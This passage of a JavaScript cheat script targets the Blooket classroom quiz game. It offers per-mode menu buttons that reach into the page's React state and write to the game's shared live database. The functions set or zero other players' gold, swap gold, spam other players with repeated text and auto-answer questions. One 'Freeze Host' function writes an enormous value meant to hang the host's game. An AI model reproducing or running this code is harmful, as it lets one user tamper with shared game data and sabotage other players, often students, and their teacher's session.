3511 document.querySelectorAll('div[role="button"]').forEach(e => {
3512 ("Lose 25%" === e.innerText || "Lose 50%" === e.innerText) && (e.style.display = "none")
3514 }, 50), t.data = setInterval(() => {
3515 var e;
3516 if ("gold" === ("gold" === window.location.pathname.split("/")[2] && "gold") && t.enabled) try {
3517 if ("prize" === o().stateNode.state.stage) {
3518 let {
3519 choices: a
3520 } = o().stateNode.state, r = document.querySelector("div[class*='regularBody']").children[1];
3521 r && (document.querySelectorAll(".chest-esp").length ? a.forEach((e, t) => {
3522 3 == r.children.length && r.children[t].children[1].innerText != e.text && (r.children[t].children[1].innerText = e.text)
3523 }) : a.forEach((e, t) => {
3524 (textElement = document.createElement("p")).className = "chest-esp", textElement.innerText = e.text, textElement.style = "text-align: center; font-size: 30px; color: white; font-family:Titan One, sans-serif; border-color: black; margin-top: 200px; opacity: 0;";
3525 try {
3526 r.children[t].appendChild(textElement)
3527 } catch (o) {
3528 console.log(o)
3532 } catch (n) {
3533 console.log(n)
3535 }, 50))
3537 }, {
3538 name: "Reset Players Gold",
3539 description: "Sets a player's gold to 0",
3540 run: function() {
3541 let e = document.createElement("iframe");
3542 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
3543 let t = prompt("Who's gold would you like to reset?"),
3545 stateNode: {
3546 props: o,
3547 state: a
3549 } = Object.values(function e(t = document.querySelector("body>div")) {
3550 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
3551 }())[1].children[0]._owner;
3552 stateNode.props.liveGameController.getDatabaseVal("c", e => {
3553 e && Object.keys(e).map(e => e.toLowerCase()).includes(t.toLowerCase()) && o.liveGameController.setVal({
3554 path: "c/".concat(o.client.name),
3555 val: {
3556 b: o.client.blook,
3557 g: a.gold,
3558 tat: `${t}:swap:0`
3563 }, {
3564 name: "Set Gold",
3565 description: "Sets amount of gold",
3566 run: function() {
3567 var e = document.createElement("iframe"),
3568 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much gold would you like?")))),
3569 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3570 t.setState({
3571 gold: e,
3572 gold2: e
3573 }), t.props.liveGameController.setVal({
3574 path: "c/".concat(t.props.client.name),
3575 val: {
3576 b: t.props.client.blook,
3577 g: e
3581 }, {
3582 name: "Swap Gold",
3583 description: "Swaps gold with someone",
3584 run: function() {
3585 (() => {
3586 const cheat = (async () => {
3587 let {
3588 stateNode
3589 } = Object.values((function react(r = document.querySelector("body>div")) {
3590 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
3591 })())[1].children[0]._owner;
3592 const player = prompt("Who's gold would you like to swap with? (Case sensitive)");
3593 stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
3594 if (!players || players[player] == null) return;
3595 const gold = players[player].g || 0;
3596 stateNode.props.liveGameController.setVal({
3597 path: "c/" + stateNode.props.client.name,
3598 val: {
3599 b: stateNode.props.client.blook,
3600 tat: player + ":swap:" + (stateNode.state.gold || 0),
3601 g: gold
3604 stateNode.setState({
3605 gold,
3606 gold2: gold
3610 cheat();
3611 })();
3613 }, {
3614 name: "Set Player's Gold",
3615 description: "Sets a player's gold to any amount.",
3616 run: function() {
3617 (async () => {
3618 const stateNode = Object.values(document.querySelector('#app>div>div'))[1].children[0]._owner.stateNode;
3619 let i = document.createElement('iframe');
3620 document.body.append(i);
3621 const alert = i.contentWindow.alert.bind(window);
3622 const prompt = i.contentWindow.prompt.bind(window);
3623 i.remove();
3625 const db = await stateNode.props.liveGameController.getDatabaseVal("c");
3626 const players = Object.keys(db);
3628 function search(q) {
3629 const res = players.filter(e => e?.toLowerCase()?.includes(q.toLowerCase()));
3630 if (res.length > 1) {
3631 alert(`${res.length} players were found!`);
3632 return;
3634 if (res.length < 1) {
3635 alert("No players were found!");
3636 return;
3638 return res[0];
3641 const result = search(prompt("Enter player name or part of it here (not case sensitive):"));
3642 if (!result) {
3643 return;
3646 const amount = prompt(`Enter the amount you would like to set the player to:`);
3647 if (!amount || amount.length < 1) {
3648 alert("You must enter an amount.");
3649 return;
3652 stateNode.props.liveGameController.setVal({
3653 path: `c/${stateNode.props.client.name}/tat`,
3654 val: `${result}:swap:${amount}`
3657 alert(`Set ${result}'s gold to ${amount}!`);
3658 })();
3660 }, {
3661 name: "Reset All Players' Gold",
3662 description: "Set's everyone else's gold to 0",
3663 run: function() {
3664 var e = document.createElement("iframe");
3665 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove();
3666 let {
3667 props: t,
3668 state: o
3669 } = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode, a = 0;
3670 t.liveGameController.getDatabaseVal("c", async e => {
3671 if (e)
3672 for (let r of Object.keys(e)) t.liveGameController.setVal({
3673 path: "c/".concat(t.client.name),
3674 val: {
3675 b: t.client.blook,
3676 g: o.gold,
3677 tat: r + ":swap:0"
3679 }), a++, await new Promise(e => setTimeout(e, 4e3));
3680 alert(`Reset ${a} players' gold!`)
3683 }, {
3684 name: "Send Ad Text",
3685 description: "Sends a load of text to another player (This will override your blook!)",
3686 run: function() {
3687 var player = window.prompt("Enter the player's name:");
3688 var text = window.prompt("Enter the text to send:");
3690 var {
3691 props: t2,
3692 state: a
3693 } = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3694 t2.liveGameController.setVal({
3695 path: "c/".concat(t2.client.name),
3696 val: {
3697 b: t2.client.blook,
3698 g: a.gold,
3699 tat: player + ":swap:0"
3703 let {
3704 props: t
3705 } = Object.values(function e(t = document.querySelector("body>div")) {
3706 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
3707 }())[1].children[0]._owner.stateNode;
3709 let repeatedText = `Dog:${Array(500).fill(text).join(' ')}`;
3710 t.client.blook = repeatedText;
3711 t.liveGameController.setVal({
3712 path: `c/${t.client.name}/b`,
3713 val: repeatedText
3717 kingdom: [{
3718 name: "Choice ESP",
3719 description: "Shows you what will happen if you say Yes or No",
3720 type: "toggle",
3721 enabled: false,
3722 data: null,
3723 run: function() {
3724 if (this.enabled) {
3725 this.enabled = false;
3726 clearInterval(this.data);
3727 this.data = null;
3728 } else {
3729 this.enabled = true;
3730 this.data = setInterval((stats => {
3731 let {
3732 stateNode
3733 } = Object.values((function react(r = document.querySelector("body>div")) {
3734 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
3735 })())[1].children[0]._owner;
3737 let elements = Array.prototype.reduce.call(
3738 document.querySelectorAll('[class*=statContainer]'),
3739 (obj, container, i) => (obj[stats[i]] = container, obj), {}
3742 if (stateNode.state.phase == "choice") {
3743 Array.prototype.forEach.call(document.querySelectorAll('.choiceESP'), x => x.remove());
3745 Object.keys(stateNode.state.guest.yes || {}).forEach(x => {
3746 if (elements[x] == null) return;
3747 let element = document.createElement('div');
3748 element.className = 'choiceESP';
3749 element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;';
3750 element.innerText = String(stateNode.state.guest.yes[x]);
3751 elements[x].appendChild(element);
3754 Object.keys(stateNode.state.guest.no || {}).forEach(x => {
3755 if (elements[x] == null) return;
3756 let element = document.createElement('div');
3757 element.className = 'choiceESP';
3758 element.style = 'font-size: 24px; color: darkred; font-weight: bolder;';
3759 element.innerText = String(stateNode.state.guest.no[x]);
3760 elements[x].appendChild(element);
3763 Array.prototype.forEach.call(
3764 document.querySelectorAll("[class*=guestButton][role=button]"),
3765 x => (x.onclick = () => Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"), x => x.remove()))
3768 }), 50, ['materials', 'people', 'happiness', 'gold']);
3771 }, {
3772 name: "Disable Tax Toucan",
3773 description: "Tax evasion",
3774 run: function() {
3775 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE
3777 }, {
3778 name: "Max Stats",
3779 description: "Sets all resources to the max",
3780 run: function() {
3781 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
3782 materials: 100,
3783 people: 100,
3784 happiness: 100,
3785 gold: 100
3788 }, {
3789 name: "Set Guests",
3790 description: "Sets the amount of guests you've seen",
3791 run: function() {
3792 var e = document.createElement("iframe"),
3793 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How many guests do you want?"))));
3794 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
3795 guestScore: e
3798 }, {
3799 name: "Skip Guest",
3800 description: "Skips the current guest",
3801 run: function() {
3802 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.nextGuest()
3805 racing: [{
3806 name: "Instant Win",
3807 description: "Instantly Wins the race",
3808 run: function() {
3809 let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3810 e.setState({
3811 progress: e.state.goalAmount
3812 }, () => {
3813 let {
3814 question: t
3815 } = e.state;
3816 try {
3817 [...document.querySelectorAll('[class*="answerContainer"]')][t.answers.map((e, o) => t.correctAnswers.includes(e) ? o : null).filter(e => null != e)[0]]?.click?.()
3818 } catch {}
3821 }, {
3822 name: "Set Questions",
3823 description: "Sets the number of questions left",
3824 run: function() {
3825 let i = document.createElement('iframe');
3826 document.body.append(i);
3827 window.prompt = i.contentWindow.prompt.bind(window);
3828 i.remove();
3829 let {
3830 stateNode
3831 } = Object.values((function react(r = document.querySelector("body>div")) {
3832 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
3833 })())[1].children[0]._owner;
3834 let progress = stateNode.props.client.amount - parseInt(prompt("How many questions left do you want?"));
3835 if (!isNaN(progress)) {
3836 stateNode.setState({
3837 progress
3839 stateNode.props.liveGameController.setVal({
3840 path: "c/".concat(stateNode.props.client.name),
3841 val: {
3842 b: stateNode.props.client.blook,
3843 pr: progress
3849 royale: [{
3850 name: "Auto Answer (Toggle)",
3851 description: "Toggles auto answer on",
3852 type: "toggle",
3853 enabled: !1,
3854 data: null,
3855 run: function() {
3856 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
3857 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3858 e?.onAnswer?.(!0, e.props.client.question.correctAnswers[0])
3859 }, 50))
3861 }, {
3862 name: "Auto Answer",
3863 description: "Chooses the correct answer for you",
3864 run: function() {
3865 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3866 e?.onAnswer?.(!0, e.props.client.question.correctAnswers[0])
3869 rush: [{
3870 name: "Set Blooks",
3871 description: "Sets amount of blooks you or your team has",
3872 run: function() {
3873 var e = document.createElement("iframe"),
3874 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How many blooks do you want?")))),
3875 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3876 t.setState({
3877 numBlooks: e
3878 }), t.isTeam ? t.props.liveGameController.setVal({
3879 path: `a/${t.props.client.name}/bs`,
3880 val: e
3881 }) : t.props.liveGameController.setVal({
3882 path: `c/${t.props.client.name}/bs`,
3883 val: numDefense
3886 }, {
3887 name: "Set Defense",
3888 description: "Sets amount of defense you or your team has (Max 4)",
3889 run: function() {
3890 var e = document.createElement("iframe"),
3891 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))), 4)),
3892 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3893 t.setState({
3894 numDefense: e
3895 }), t.isTeam ? t.props.liveGameController.setVal({
3896 path: `a/${t.props.client.name}/d`,
3897 val: e
3898 }) : t.props.liveGameController.setVal({
3899 path: `c/${t.props.client.name}/d`,
3900 val: e
3903 }, {
3904 name: "Freeze Host :)",
3905 description: "They aint coming back with this one",
3906 run: function() {
3907 var largeNumber = "99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999";
3908 var t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3909 t.setState({
3910 numBlooks: largeNumber
3912 if (t.isTeam) {
3913 t.props.liveGameController.setVal({
3914 path: `a/${t.props.client.name}/bs`,
3915 val: largeNumber
3917 } else {
3918 t.props.liveGameController.setVal({
3919 path: `c/${t.props.client.name}/bs`,
3920 val: largeNumber
3925 workshop: [{
3926 name: "Remove Distractions",
3927 description: "Removes all enemy distractions",
3928 run: function() {
3929 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
3930 fog: !1,
3931 dusk: !1,
3932 wind: !1,
3933 plow: !1,
3934 blizzard: !1,
3935 force: !1,
3936 canada: !1,
3937 trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1]
3940 }, {
3941 name: "Send Distraction",
3942 description: "Sends a distraction to everyone else playing",
3943 run: function() {
3944 var e = document.createElement("iframe"),
3945 e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode,
3946 t = {
3947 c: "Oh Canada",
3948 b: "Blizzard",
3949 f: "Fog Spell",
3950 d: "Dark & Dusk",
3951 w: "Howling Wind",
3952 g: "Gift Time!",
3953 t: "TREES",
3954 s: "Snow Plow",
3955 fr: "Use The Force"
3957 o = Object.keys(t)[Math.floor(Math.random() * Object.keys(t).length)];
3958 e.safe = !0, e.props.liveGameController.setVal({
3959 path: `c/${e.props.client.name}/tat`,
3960 val: o
3961 }), alert(`Sent a ${t[o]} distraction`)
3963 }, {
3964 name: "Set Toys",
3965 description: "Sets amount of toys",
3966 run: function() {
3967 var e = document.createElement("iframe"),
3968 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), parseInt(prompt("How many toys would you like?"))),
3969 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3970 t.setState({
3971 toys: e
3972 }), t.props.liveGameController.setVal({
3973 path: "c/".concat(t.props.client.name),
3974 val: {
3975 b: t.props.client.blook,
3976 t: e
3980 }, {
3981 name: "Set Toys Per Question",
3982 description: "Sets amount of toys per question",
3983 run: function() {
3984 var e = document.createElement("iframe");
3985 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
3986 toysPerQ: parseInt(prompt("How many toys per question would you like?"))
3989 }, {
3990 name: "Swap Toys",
3991 description: "Swaps toys with someone",
3992 run: function() {
3993 let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3994 e.props.liveGameController.getDatabaseVal("c", t => {
3995 e.setState({
3996 choosingPlayer: !1,
3997 players: t ? Object.entries(t).map(([e, {
3998 b: t,
3999 t: o
4000 }]) => ({
4001 name: e,
4002 blook: t,
4003 toys: o || 0
4004 })).filter(t => t.name != e.props.client.name).sort(({
4005 toys: e
4006 }, {
4007 toys: t
4008 }) => t - e) : [],
4009 phaseTwo: !0,
4010 stage: "prize",
4011 choiceObj: {
4012 type: "swap"
4014 }, () => setTimeout(() => e.setState({
4015 choosingPlayer: !0
4016 }), 300))
4021 var u = document.createElement("details");
4022 for (let p of (u.innerHTML = '<summary style="padding: 10px; font-size: 1.5em; font-weight: bolder">Global</summary>', d.global)) {
4023 let m = v(p.name);
4024 m.style.backgroundColor = "toggle" == p.type ? p.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)", m.onclick = () => {
4025 try {
4026 p.run()
4027 } finally {
4028 m.style.backgroundColor = "toggle" == p.type ? p.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"
4030 }, u.appendChild(m)
4032 u.open = !1, u.style.paddingBottom = "10px", t.appendChild(u);
4033 let h = document.createElement("div");
4034 t.appendChild(h), console.log(d);
4035 let y = e => {
4036 if (e && d[e])
4037 for (let t of d[e]) {
4038 let o = v(t.name);
4039 o.style.backgroundColor = "toggle" == t.type ? t.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)", o.onclick = () => {
4040 try {
4041 t.run()
4042 } finally {
4043 o.style.backgroundColor = "toggle" == t.type ? t.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"
4045 }, h.appendChild(o), h.appendChild(document.createElement("br"))
4048 setTimeout(() => y(_()), 50);
4049 var $ = function(e) {
4050 let t = window.location.pathname,
4051 o = setInterval(() => {
4052 window.location.pathname != t && e(t = window.location.pathname)
4053 }, 50);
4054 return () => clearInterval(o)
4055 }(e => {
4056 var t = _();
4057 curPageEl.innerText = _(!0) ? "Current gamemode: " + _(!0) : "No game detected", h.innerHTML = "", y(t)
4060 function v(e) {
4061 var t = document.createElement("button");
4062 return t.classList.add("cheat"), t.innerText = e, t
4065 function _(e) {
4066 switch (window.location.pathname) {
4067 case "/play/racing":
4068 return e ? "Racing" : "racing";
4069 case "/play/pirate":
4070 return e ? "Pirate's Voyage" : "voyage";
4071 case "/play/factory":
4072 return e ? "Factory" : "factory";
4073 case "/play/classic/get-ready":
4074 case "/play/classic/question":
4075 case "/play/classic/answer/sent":
4076 case "/play/classic/answer/result":
4077 case "/play/classic/standings":
4078 return e ? "Classic" : "classic";
4079 case "/play/battle-royale/match/preview":
4080 case "/play/battle-royale/question":
4081 case "/play/battle-royale/answer/sent":
4082 case "/play/battle-royale/answer/result":
4083 case "/play/battle-royale/match/result":
4084 return e ? "Battle Royale" : "royale";
4085 case "/play/toy":
4086 return e ? "Santa's Workshop" : "workshop";
4087 case "/play/gold":
4088 return e ? "Gold Quest" : "gold";
4089 case "/play/brawl":
4090 return e ? "Monster Brawl" : "brawl";
4091 case "/play/hack":
4092 return e ? "Crypto Hack" : "hack";
4093 case "/play/fishing":
4094 return e ? "Fishing Frenzy" : "fishing";
4095 case "/play/rush":
4096 return e ? "Blook Rush" : "rush";
4097 case "/play/dino":
4098 return e ? "Deceptive Dinos" : "dinos";
4099 case "/tower/map":
4100 case "/tower/battle":
4101 case "/tower/rest":
4102 case "/tower/risk":
4103 case "/tower/shop":
4104 case "/tower/victory":
4105 return e ? "Tower of Doom" : "doom";
4106 case "/cafe":
4107 case "/cafe/shop":
4108 return e ? "Cafe" : "cafe";
4109 case "/defense":
4110 return e ? "Tower Defense" : "defense";
4111 case "/play/defense2":
4112 return e ? "Tower Defense 2" : "defense2";
4113 case "/kingdom":
4114 return e ? "Crazy Kingdom" : "kingdom";
4115 case "/play/lobby":
4116 return e ? "Lobby" : "flappy";
4117 default:
4118 return !1
4122 function f(e) {
4123 "KeyE" == e.code && (a.hidden = !a.hidden)
4125 addEventListener("keypress", f)
4127 })();